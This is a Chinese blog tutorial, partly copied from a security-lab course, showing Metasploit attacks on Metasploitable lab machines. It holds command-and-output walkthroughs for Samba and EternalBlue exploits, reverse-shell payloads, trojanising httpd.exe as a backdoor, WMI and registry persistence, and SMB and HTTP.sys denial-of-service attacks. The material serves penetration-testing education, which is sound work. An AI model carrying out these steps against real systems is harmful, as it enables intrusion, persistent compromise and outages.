Metasploit 快速入门(三)—— 服务端漏洞利用

今天的这篇文章是对Metasploit 快速入门(三)—— 服务端漏洞利用这篇文章的复现。

啊啊啊啊啊,好吧! 由于好多环境场景我都没有,最终只能大篇幅的copy了

温馨提示:靶机用自己的虚拟机就好,如果不想搞坏你的虚拟机,记得加快照、加快照、快照


原创:合天网安实验室合天智汇

在前面,我们学习了

Metasploit快速入门(一)

Metasploit快速入门(二)

Metasploit 快速入门(二)——信息收集和扫描-续

在本章中,我们将学习以下内容

1、攻击Linux服务器

2、SQL注入攻击

3、shell类型

4、攻击Windows服务器

5、利用公用服务

6、MS17-010 永恒之蓝 SMB远程代码执行Windows内核破坏

7、MS17-010 EternalRomance/EternalSynergy/EternalChampion

8、植入后门

9、拒绝服务攻击

简介

在第二章的信息收集和扫描中,我们收集了目标的IP地址,端口,服务,操作系统等信息。信息收集过程中最大的收获是服务器或系统的操作系统信息。这些信息对后续的渗透目标机器非常有用,因为我们可以快速查找系统上运行的服务和漏洞信息。这个过程有点复杂,但是有了这些信息可以很大程度减轻我们后续的工作。

每一个操作系统都存在一些缺陷。一旦漏洞被报告出来,漏洞利用程序开发也开始了。获得许可的操作系统,比如Windows,可以很快为漏洞或BUG开发补丁程序,并推送给用户更新。漏洞披露是一个严重的问题,特别是 0day 漏洞会对计算机行业造成严重破坏。0day 收到高度追捧,在市场上的价格可达 15000美元到1000000美元。漏洞被发现并被利用,但漏洞的披露取决于研究人员及其意图。

像微软、苹果和谷歌这样的知名企业会定期为他们的产品发布补丁,因为他们要为众多的用户负责。但在公司场景中,情况会变得更糟,由于涉及停机时间和确保业务连续性不受影响,服务器需要数周才能修补。因此,建议您更新或密切关注正在使用的操作系统中发现的任何最新漏洞。未修补的系统是黑客的最爱,因为他们会立即发动攻击,危及目标。因此,必须定期修补和更新操作系统。在本章中,我们将重点讨论一些最流行的服务和操作系统中报告的漏洞。

在渗透测试的过程中,一旦目标操作系统的信息可用,渗透人员就开始寻找针对特定服务或操作系统漏洞的可利用程序。因此,本章将是我们深入了解目标服务器端漏洞的第一步。我们将重点介绍一些使用广泛的windows操作系统和Linux操作系统。我们还将研究如何使用利用这些漏洞,并设置它们的参数,使它们能够在目标机器上执行。最后,我们将讨论 Metasploit 框架中的攻击载荷(payloads)。

在对目标机器攻击利用之前,我们首先要知道一些关于攻击模块和攻击载荷的基础知识,比如如何设置参数等。

为了对目标进行漏洞利用攻击,首先需要扫描目标的端口和服务,一旦收集了足够多的信息,下一步就是选择相对应的漏洞利用程序对目标进行攻击。让我们来学习一些 msfconsole中的漏洞利用命令。

关于 msfconsole 和如何启动 msfconsole ,在我们之前的章节已经讲解过了。

在 msfconsole 中,如果要查看帮助,可以直接输入 help 命令即可
在这里插入图片描述从输出结果来看,有许多的命令,你可能会被吓到。但之前我们已经了解了一些命令,比如数据库命令。现在我们将重点关注在漏洞利用阶段最有用的命令,并在过程中了解其他命令。

最有用的命令: search命令
在这里插入图片描述通过 search我们可以查找非常多的东西,包括模块,漏洞等等。

1、攻击linux服务器

Linux是使用最为广泛的操作系统之一,在前面的章节中,我们学习了如何扫描可用服务和利用漏洞扫描器扫描查找目标漏洞。在本节中,我们将使用 Metasploitable2作为靶机,我们将利用 Samba服务漏洞对 Linux目标机进行攻击。

准备工作
首先,我们使用 servives命令查找之前 nmap的扫描结果,并过滤 139和 445端口。

sf5 > services -c port,info -p 139,445 192.168.177.145          
Services                                                          
========                                                          
host             port  info                                      
----             ----  ----                                      
192.168.177.145  139   Samba smbd 3.X - 4.X workgroup: WORKGROUP  
192.168.177.145  445   Samba smbd 3.X - 4.X workgroup: WORKGROUP  
msf5 >                                                            

现在我们知道了目标 Samba的版本信息,我们就可以去查找相对应的漏洞,然后使用 search命令搜索可使用的攻击模块。

TIP:我们可以在通用漏洞披露(CVE)在线平台 https://www.cvedetails.com中找到有关 Samba3.0.20漏洞的细节。

通过 search命令过滤 CVE、 模块类型、 关键字即可找到可利用的攻击模块。

怎么做

1、选择攻击模块

f5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) >

2、运行 info可查看模块信息
在这里插入图片描述通过模块描述信息,可用看出,该模块利用 Samba3.0.20到 3.0.25rc中的命令执行漏洞。我们来试试。

3、配置参数
通过 show missing命令,查看必须要配置的参数

f5 exploit(multi/samba/usermap_script) > show missing
Module options (exploit/multi/samba/usermap_script):
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target address range or CIDR identifier
msf5 exploit(multi/samba/usermap_script) >

TIP:要显示模块的高级选项,你可以使用 show advanced 命令

这里只需要我们设置目标的 IP地址即可,我们通过 set[options][value]来设置

sf5 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.177.145
RHOSTS => 192.168.177.145
msf5 exploit(multi/samba/usermap_script) >

4、攻击
执行 exploit即可。
在这里插入图片描述攻击成功后,我们将获得与目标机器的连接会话。我们可用执行一些命令,来验证是否获得了目标机器的权限。
在这里插入图片描述按 Ctrl+Z可将会话转到后台

d=0(root) gid=0(root)
^Z  //按 Ctrl+Z
Background session 1? [y/N]  y
msf5 exploit(multi/samba/usermap_script) >

5、要操作会话,可用使用 sessions命令
在这里插入图片描述6、要重新回到刚才的会话,可使用 sessions-i[session_id]命令,使用 sessions-l可查看所有激活的会话列表。
在这里插入图片描述要终止会话,可用按 Ctrl+c。

 link/ether 00:0c:29:cc:9a:f4 brd ff:ff:ff:ff:ff:ff
^C  //Ctrl+C
Abort session 1? [y/N]  y //输入 y
""
[*] 192.168.177.145 - Command shell session 1 closed.  Reason: User exit
msf5 exploit(multi/samba/usermap_script) >

它是如何工作的

Samba是用于 Linux和 Windows之间的打印和文件共享的服务。 Samba3.0.0至 3.0.25rc3的 smbd中的 MS-RPC功能允许远程攻击者通过 SamrChangePassword功能的 shell元字符执行任意命令,当启用 smb.conf中“用户名映射脚本”选项时(不是默认启用的),允许远程认证的用户通过远程打印机中的其他 MS-RPC功能的外部元字符执行命令,以及文件共享管理。该漏洞攻击模块通过指定一个用户名包含 shell元字符,攻击者可以执行任意命令。 因为此选项用于在身份验证之前映射用户名,所以不需要身份验证就可以利用此漏洞。

有效攻击载荷?
我们没有指定 payload,所以 Metasploit默认为我们指定了 payload。我们可用 show options查看

sf5 exploit(multi/samba/usermap_script) > show options                                    
Module options (exploit/multi/samba/usermap_script):                                      
  Name    Current Setting  Required  Description                                          
  ----    ---------------  --------  -----------                                          
  RHOSTS  192.168.177.145  yes       The target address range or CIDR identifier          
  RPORT   139              yes       The target port (TCP)                               
Payload options (cmd/unix/reverse):                                                        
  Name   Current Setting  Required  Description                                          
  ----   ---------------  --------  -----------                                          
  LHOST  192.168.177.143  yes       The listen address (an interface may be specified)    
  LPORT  4444             yes       The listen port                                      
Exploit target:                                                                           
  Id  Name                                                                                
  --  ----                                                                             
  0   Automatic                                                                       
msf5 exploit(multi/samba/usermap_script) >      

可以看到,使用的 payload是一个 unix反向 shell。
我们可以通过 show payloas列出当前攻击模块所有可用的攻击载荷。
在这里插入图片描述我们还可以通过 sessions-u[sessions_id] 可以将 shell会话升级成 meterpreter会话,从而可以利用 meterpreter的高级功能。关于 meterpreter会在后续的章节中详细讲解。
在这里插入图片描述

2、sql注入

Metasploit有几个 SQL注入漏洞的利用模块,使我们能够测试和验证目标是否易受攻击。
准备工作

我们将安装一个易受攻击的开源 LMS:Atutor2.2.1进行测试,访问https://www.exploit-db.com/exploits/39514 ,点击 VULNERABLE APP旁边的下载按钮开源下载 Atutor2.2.1。
在这里插入图片描述TIP:至于怎么安装 ATutor,可以查看官方文档。
怎么做

该模块利用了 ATutor2.2.1的 SQL注入漏洞和身份验证漏洞,这意味着我们可以绕过身份验证,访问管理接口,上传恶意代码。

1、使用 exploit/multi/http/atutor_sqli模块,查看模块选项
在这里插入图片描述2,show missing,查看必须要配置的参数
tips:要显示模块的高级选项,你可以使用show advanced 命令
攻击之前,可以通过check命令检测目标是否易受攻击。然后进行攻击。
攻击,直接exploit就可以
在这里插入图片描述根据密码复杂度不同,所需时长也不同。攻击成功后,获取了 shell

    meterpreter > getuid
    Server username: Administrator (0)
    meterpreter > sysinfo
    Computer    : WIN-BGKRU85VR4H
    OS          : Windows NT WIN-BGKRU85VR4H 6.1 build 7600 (Windows 7 Business Edition) i586
    Meterpreter : php/windows
    meterpreter >

3、shell 类型

在进行下一节内容的学习之前,我们先来讨论一些可用 shell的类型。 shell大体上分为两种,一种是 bind shell一种是 reverse shjell。

bindshell 又叫正向连接 shell。是指程序在目标机本地端口上监听,允许攻击者连接到监听端口。 bind shell非常适合本地漏洞,比如当你已经通过钓鱼攻击成功危害了目标计算机,并希望利用本地服务提权的时候。但是它不适合远程攻击场景。因为通常来说目标位于防火墙后面。

所以大部分时候,我们更多的使用 reverse shell,又称反向 shell作为我们的有效攻击载荷。反向 shell是在攻击者上监听端口,攻击程序在目标机上运行后主动连接到攻击者监听的端口。由于防火墙大多数时候只限制入站规则。因此反向shell更容易绕过防火墙。

Payloads

Metasploit中由三种不同类型的 payload模块,分别是: singles、 stagers和 stages。

Singles:独立载荷,可直接植入目标系统并执行的程序,比如 shell_bind_tcp

Stagers:传输器载荷,负责建立网络连接,与 stages载荷配合使用。这种载荷体积小且可靠

Stages:传输体载荷,在 stagers建立好稳定的连接之后,提供的高级功能。如 shell,meterpreter,dllinject,patchupdllinject,upexec,vncinject等。 metasploit中 meterpreter其实就是一个 payload。它需 stagers和 stages配合使用。
准备工作

在上一节中的 SQL注入中,已经获得一个有效的漏洞利用。所以我们将使用它来测试不同类型的 payload
怎么做

1、使用 show payloads命令显示可用的载荷。

在这里插入图片描述
2、查看载荷的详细信息,使用 info指令
在这里插入图片描述3、 generic/shell_bind_tcp是一个独立载荷。要选择它作为有效载荷,我们使用 setpayload<payload_name>

msf5 exploit(multi/http/atutor_sqli) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp
msf5 exploit(multi/http/atutor_sqli) > exploit
[*] 192.168.177.139:80 - Dumping the username and password hash...

4、使用 generic/shell_bind_tcp载荷可用得到一个通用的 shell,但远远不够, PHPMeterprete是一个特性丰富且更高级的载荷,我们可以用它来利用此漏洞
在这里插入图片描述在这里插入图片描述

4、攻击Windows 服务器

利用之前收集的信息,我们将对 Windows服务器作为目标进行漏洞利用。本节我们将使用 Metasploitable3作为靶机。
准备工作

通过收集的信息,查找漏洞,选择合适的漏洞里利用模块。
使用 services查看目标 Apache服务版本。
msf5 > services -p 8020 192.168.177.144

Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.177.144 8020 tcp http open Apache httpd
msf5 >

访问目标站点
在这里插入图片描述通过浏览目标站点,我们可以尝试使用弱口令进行登录,比如 admin
在这里插入图片描述居然登录进去了。
怎么做

1、查看运行在 8484端口的 Jenkins-CI服务。

msf5 > services 192.168.177.144 -p 8484
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.177.144 8484 tcp http open Jetty winstone-2.8

这里,并没有显示 Jenkins,浏览器访问看看
在这里插入图片描述确实是一个 Jenkins服务

我们使用 search jenkins搜索可利用的模块
在这里插入图片描述使用 Jenkins-CIScript-ConsoleJavaExecution模块

在这里插入图片描述攻击 ManageEngineDesktopCentral9
在这里插入图片描述在这里插入图片描述

5、利用公用服务

在漏洞攻击时,有些服务跟目标上其他大部分服务都有关系,而大多数是情况下它们被忽视了。
准备工作

在本节中,我们将利用目标环境中最常见和最容易被滥用的服务- Mysql。大多数情况下,我们可以利用 Mysql服务,因为它们是出于开发目的安装的。忽略了一些安全加固。比如设置 root密码或者设置强密码。

本节我们将使用 Metasploitable3作为靶机
怎么做

要利用目标的 Mysql服务,我们先使用 MySQL枚举模块枚举目标,然后使用 OracleMySQLfortheMicrosoftWindowsPayload攻击模块获取远程主机的 shell。
在这里插入图片描述枚举
在这里插入图片描述进行攻击
在这里插入图片描述如果目标 Mysql没有设置 root密码,因此可以使用 MySQL服务上传 shell并获得系统的远程访问权限。就像上面一样。所以,永远不要忘记对基础服务进行渗透测试。即便你认为不会有人傻到配置无密码的服务。

6、MS17-010 永恒之蓝 SMB远程代码执行Windows内核破坏

再次利用在信息收集和扫描阶段收集的信息,特别是 MS17-010SMB RCE检测辅助模块的输出信息,我们可以转向下一个易受攻击的服务。
准备工作

MS17-010EthernalBlueSMBRemoteWindowsKernelPoolCorruption攻击模块是 EquationGroupETERNALBLUE的一部分。 EquationGroupETERNALBLUE是 FuzzBunchtoolkit的一部分。由 ShadowBrokrs从美国国家安全局(NSA)获取并公开。 ETERNALBLUE通常被认为是由 NSA开发。它利用 srv.sys在处理 SrvOs2FeaListSizeToNt的时候逻辑不正确导致越界拷贝从而造成缓冲区溢出,进而允许我们执行任意命令。它在被公开后被用在`WannaCry`勒索软件中进行攻击。此漏洞会影响所有运行 SMBv1服务且未更新 SMB安全补丁的 Windows计算机和 Windows服务器。
怎么做

载入 ms17_010_eternalblue模块,设置目标 IP地址,设置 Payload,然后执行攻击

msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.177.144
RHOSTS => 192.168.177.144
msf5 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.177.143
LHOST => 192.168.177.143
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.177.143:4444
[*] 192.168.177.144:445 - Connecting to target for exploitation.
[+] 192.168.177.144:445 - Connection established for exploitation.
[+] 192.168.177.144:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.177.144:445 - CORE raw buffer dump (51 bytes)
[*] 192.168.177.144:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.177.144:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 192.168.177.144:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 192.168.177.144:445 - 0x00000030 6b 20 31 k 1
[+] 192.168.177.144:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.177.144:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.177.144:445 - Sending all but last fragment of exploit packet
[*] 192.168.177.144:445 - Starting non-paged pool grooming
[+] 192.168.177.144:445 - Sending SMBv2 buffers
[+] 192.168.177.144:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.177.144:445 - Sending final SMBv2 buffers.
[*] 192.168.177.144:445 - Sending last fragment of exploit packet!
[*] 192.168.177.144:445 - Receiving response from exploit packet
[+] 192.168.177.144:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.177.144:445 - Sending egg to corrupted connection.
[*] 192.168.177.144:445 - Triggering free of corrupted buffer.
[*] Meterpreter session 1 opened (192.168.177.143:4444 -> 192.168.177.144:49655) at 2019-04-26 17:40:54 +0800
[+] 192.168.177.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.177.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.177.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
meterpreter > sysinfo
Computer : METASPLOITABLE3
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
07MS17-010 EternalRomance/EternalSynergy/EternalChampion

MS17-010EternalRomance/EternalSynergy/EternalChampionSMBRemoteWindowsCodeExecution攻击模块也可用于 MS17-0101漏洞利用。而且比 EnternalBlue更可靠,不过需要命名管道。
怎么做

使用模块 ms17_010_psexec
在这里插入图片描述

8、安装后门

获取 shell后,我们如果需要确保能持久性的访问目标系统,我们需要安装后门。
准备工作

通过之前的漏洞利用,我们已经获得了与目标机的 session,我们将利用 meterpreter session来安装后门服务。这里以 httpd.exe为例。
在这里插入图片描述接下来,我们将利用 windows注册表持久性模块安装随系统启动的后门。

最后我们将利用 WMI( Windows Management Instrumentation )创建一个无文件后门。
怎么做

1、不能在程序运行的时候安装后门,所以先杀死进程

meterpreter > kill 3880

Killing: 3880

meterpreter >

2、将需要替换成后门的程序下载下来

meterpreter > download C:\\wamp\\bin\\apache\\apache2.2.21\\bin\\httpd.exe

[*] Downloading: C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exe

[*] Downloaded 21.00 KiB of 21.00 KiB (100.0%): C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exe

[*] download : C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exe

meterpreter >

3、将会话退回到后台,使用 reverse_tcp攻击载荷,使用 generate生成后门文件。

msf5 exploit(windows/smb/ms17_010_psexec) > use payload/windows/x64/meterpreter/reverse_tcp

msf5 payload(windows/x64/meterpreter/reverse_tcp) > set LHOST 192.168.177.143

LHOST => 192.168.177.143

msf5 payload(windows/x64/meterpreter/reverse_tcp) > generate -p Windows -x /root/httpd.exe -k -f exe -o /root/httpd-backdoored.exe

[*] Writing 29184 bytes to /root/httpd-backdoored.exe...

msf5 payload(windows/x64/meterpreter/reverse_tcp) >

关于 generate的参数说明,可以查看帮助信息
在这里插入图片描述4、启动一个监听,监听后门的反向连接,并使用 expolit-j放到后台运行

msf5 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp

payload => windows/x64/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set LHOST 192.168.177.143

LHOST => 192.168.177.143

msf5 exploit(multi/handler) > exploit -j

[*] Exploit running as background job 0.

[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.177.143:4444

msf5 exploit(multi/handler) >

5、切回之前的 meterpreter session,上传后门文件并重命名。

msf5 exploit(multi/handler) > sessions -i 3

[*] Starting interaction with 3...

meterpreter > cd C:\\wamp\\bin\\apache\\apache2.2.21\\bin\\

meterpreter > mv httpd.exe httpd.exe.backup

meterpreter > upload /root/httpd-backdoored.exe

[*] uploading : /root/httpd-backdoored.exe -> httpd-backdoored.exe

[*] Uploaded 28.50 KiB of 28.50 KiB (100.0%): /root/httpd-backdoored.exe -> httpd-backdoored.exe

[*] uploaded : /root/httpd-backdoored.exe -> httpd-backdoored.exe

meterpreter > mv httpd-backdoored.exe httpd.exe

meterpreter >

6、使用 shell命令进入目标系统的 shell,重启 wampapache服务。

meterpreter > shell

Process 1976 created.

Channel 3 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\wamp\bin\apache\apache2.2.21\bin>net stop wampapache

net stop wampapache

The wampapache service is stopping.net sta

The wampapache service was stopped successfully.

C:\wamp\bin\apache\apache2.2.21\bin>net start wampapache

[*] Sending stage (206403 bytes) to 192.168.177.144

net start wampapache

The wampapache service is starting.

The wampapache service was started successfully.

你会发现,服务启动后,返回了新的会话
在这里插入图片描述7、使用 Windows注册表持久化模块植入后门。我们利用永恒之蓝攻击获得的会话进行后门植入操作。
在这里插入图片描述
这里因为环境问题,并未植入成功。

8、如果成功,然后就可以设置监听,以便目标重启的时候获得反向 shell会话

msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set LHOST 192.168.177.143

LHOST => 192.168.177.143

msf5 exploit(multi/handler) > set LPORT 9999

LPORT => 9999

msf5 exploit(multi/handler) > exploit -j

[*] Exploit running as background job 1.

[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.177.143:9999

msf5 exploit(multi/handler) >

9、当目标机器重启后,可以获得会话

meterpreter > reboot

Rebooting...

10、利用 WMI事件订阅创建无文件后门
在这里插入图片描述11、提示未成功,我们可以使用 migrate将 meterpreter shell进程进行进程迁移,就是将 meterpreter shell进程迁移到相对稳定应用的进程里。
在这里插入图片描述
然后再次攻击

meterpreter > background

[*] Backgrounding session 1...

msf5 exploit(windows/local/wmi_persistence) > exploit

[*] Installing Persistence...

[+] - Bytes remaining: 12560

[+] - Bytes remaining: 4560

[+] Payload successfully staged.

[+] Persistence installed! Call a shell using "smbclient \\\\192.168.177.144\\C$ -U Administrator <arbitrary password>"

[*] Clean up Meterpreter RC file: /root/.msf4/logs/wmi_persistence/192.168.177.144_20190428.2114/192.168.177.144_20190428.2114.rc

msf5 exploit(windows/local/wmi_persistence) >

注销目标机登录,然后重新登录, msfconsole这边就会接收到回连的会话

[*] Meterpreter session 2 opened (192.168.177.143:4433 -> 192.168.177.144:49437) at 2019-04-28 12:27:54 +0800

msf5 exploit(multi/handler) > sessions -i 2

[*] Starting interaction with 2...

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo

Computer : METASPLOITABLE3

OS : Windows 2008 R2 (Build 7601, Service Pack 1).

Architecture : x64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

meterpreter >

9拒绝服务攻击

拒绝服务攻击通常是通过向目标机请求大量的资源或利用漏洞,造成拒绝服务攻击,消耗目标机器性能,拒绝服务攻击会导致合法用户无法访问计算机服务或资源,甚至可能会导致服务或操作系统崩溃。
准备工作

SMBloris是一个已经存在了 20 年的 WindowsSMB 漏洞,此漏洞可导致拒绝服务攻击( DoS ) , 使得大规模服务器瘫痪。影响所有版本的 SMB 协议以及所有 Windows2000 之后的系统版本。
怎么做

1、在进行 SMBloris拒绝服务攻击之前,要先设置攻击机的最大连接数。

root@osboxes:~# ulimit -n 65535

root@osboxes:~# ulimit -n

65535

root@osboxes:~#

2、然后使用 smb_loris模块来攻击目标机机器
在这里插入图片描述3、查看目标机器,我们可以看到由于攻击者发送了大量的 SMB请求消耗了目标机的大量内存。每一个 NBSS 连接可以申请分配 128KB 内存空间,在建立大量连接的情况下可以耗尽内存,达到拒绝服务的效果。
在这里插入图片描述另一个可怕的 DoS攻击是 MS15-034HTTP协议栈请求处理拒绝服务。

如果 MicrosoftWindows7,Windows8,WindowsServer2008,orWindowsServer2012机器正在运行了存在 MS15-034漏洞的 IIS服务,那么可以利用这个漏洞导致目标服务器崩溃。

msf5 > use auxiliary/dos/http/ms15_034_ulonglongadd

msf5 auxiliary(dos/http/ms15_034_ulonglongadd) > set RHOSTS 192.168.177.144

RHOSTS => 192.168.177.144

msf5 auxiliary(dos/http/ms15_034_ulonglongadd) > exploit

[*] DOS request sent

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf5 auxiliary(dos/http/ms15_034_ulonglongadd) >

在这里插入图片描述可以看到,目标死机蓝屏了。

相关实验推荐

Metasploit攻击winserver2008实例:metasploit攻击winserver2008的过程,通过本实验的学习,你能够了解拒绝服务攻击的原理及其危害,学会使用metasploit对win2008系统进行拒绝服务攻击。点击文末“阅读原文”,开始操作!
在这里插入图片描述

  • 4
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值